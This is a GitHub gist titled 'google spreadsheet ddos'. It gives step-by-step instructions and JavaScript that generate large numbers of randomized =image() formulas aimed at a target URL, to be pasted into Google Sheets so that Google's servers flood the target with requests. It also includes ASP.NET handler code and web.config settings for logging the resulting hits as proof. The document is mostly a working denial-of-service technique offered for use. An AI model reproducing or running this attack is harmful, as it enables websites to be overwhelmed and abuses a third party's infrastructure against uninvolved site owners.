Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save abradabra/e7671d3180bd129d31700f1349c436d1 to your computer and use it in GitHub Desktop.
Save abradabra/e7671d3180bd129d31700f1349c436d1 to your computer and use it in GitHub Desktop.
google spreadsheet ddos
1. Create google spreadsheet
2. Open any website
3. Write by hands into browser url:
javascript:
4. Insert after it and press Enter or insert text into dev. console (PS. change main function parameters):
main("http://gfsdgfdsj-001-site1.myasp.net/img", 100); function makeid(n) { var text = ""; var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; for( var i=0; i < n; i++ ) text += possible.charAt(Math.floor(Math.random() * possible.length)); return text; } function generateStr(url, x) { var div = document.createElement("div"); for( var i=0; i < x; i++ ) { var p = document.createElement("p"); var t = document.createTextNode('=image("' + url + "/?" + makeid(5) + '=' + makeid(16) + '")'); p.appendChild(t); div.appendChild(p); } document.body.innerHTML = ""; document.body.appendChild(div); } function main(url, x) { generateStr(url, x);}
4. Copy all text: Ctrl+A Ctrl+C
5. Insert buffer into google spreadsheet.
Done
------------------------------------------
Other information:
JS:
main("http://gfsdgfdsj-001-site1.myasp.net/img", 100);
function makeid(n)
{
var text = "";
var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for( var i=0; i < n; i++ )
text += possible.charAt(Math.floor(Math.random() * possible.length));
return text;
}
function generateStr(url, x)
{
var div = document.createElement("div");
for( var i=0; i < x; i++ )
{
var p = document.createElement("p");
var t = document.createTextNode('=image("' + url + "/?" + makeid(5) + '=' + makeid(16) + '")');
p.appendChild(t);
div.appendChild(p);
}
document.body.innerHTML = "";
document.body.appendChild(div);
}
function main(url, x)
{
generateStr(url, x);
}
How to prove:
ASP.NET:
public class HttpHandler : IHttpHandler
{
public bool IsReusable { get { return false; } }
public void ProcessRequest(HttpContext context)
{
File.AppendAllText(HttpContext.Current.Server.MapPath("~/log.txt"), new StringBuilder(DateTime.Now.ToString()).Append(":").Append(JsonConvert.SerializeObject(new { url = context.Request.Url.AbsoluteUri, userAddres = context.Request.UserHostAddress, userAgent = context.Request.UserAgent }, Formatting.None)).Append("\n").ToString());
context.Response.ContentType = "image/jpeg";
context.Response.BinaryWrite(File.ReadAllBytes(HttpContext.Current.Server.MapPath("~/img/image.png")));
context.Response.End();
}
}
public class RouteConfig { public static void RegisterRoutes(RouteCollection routes) { } }
web.config:
<system.webServer>
<handlers>
<add name="pngs" verb="*" path="img/*"
type="MvcApplication1.HttpHandler, MvcApplication1" preCondition="integratedMode,runtimeVersionv4.0" />
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment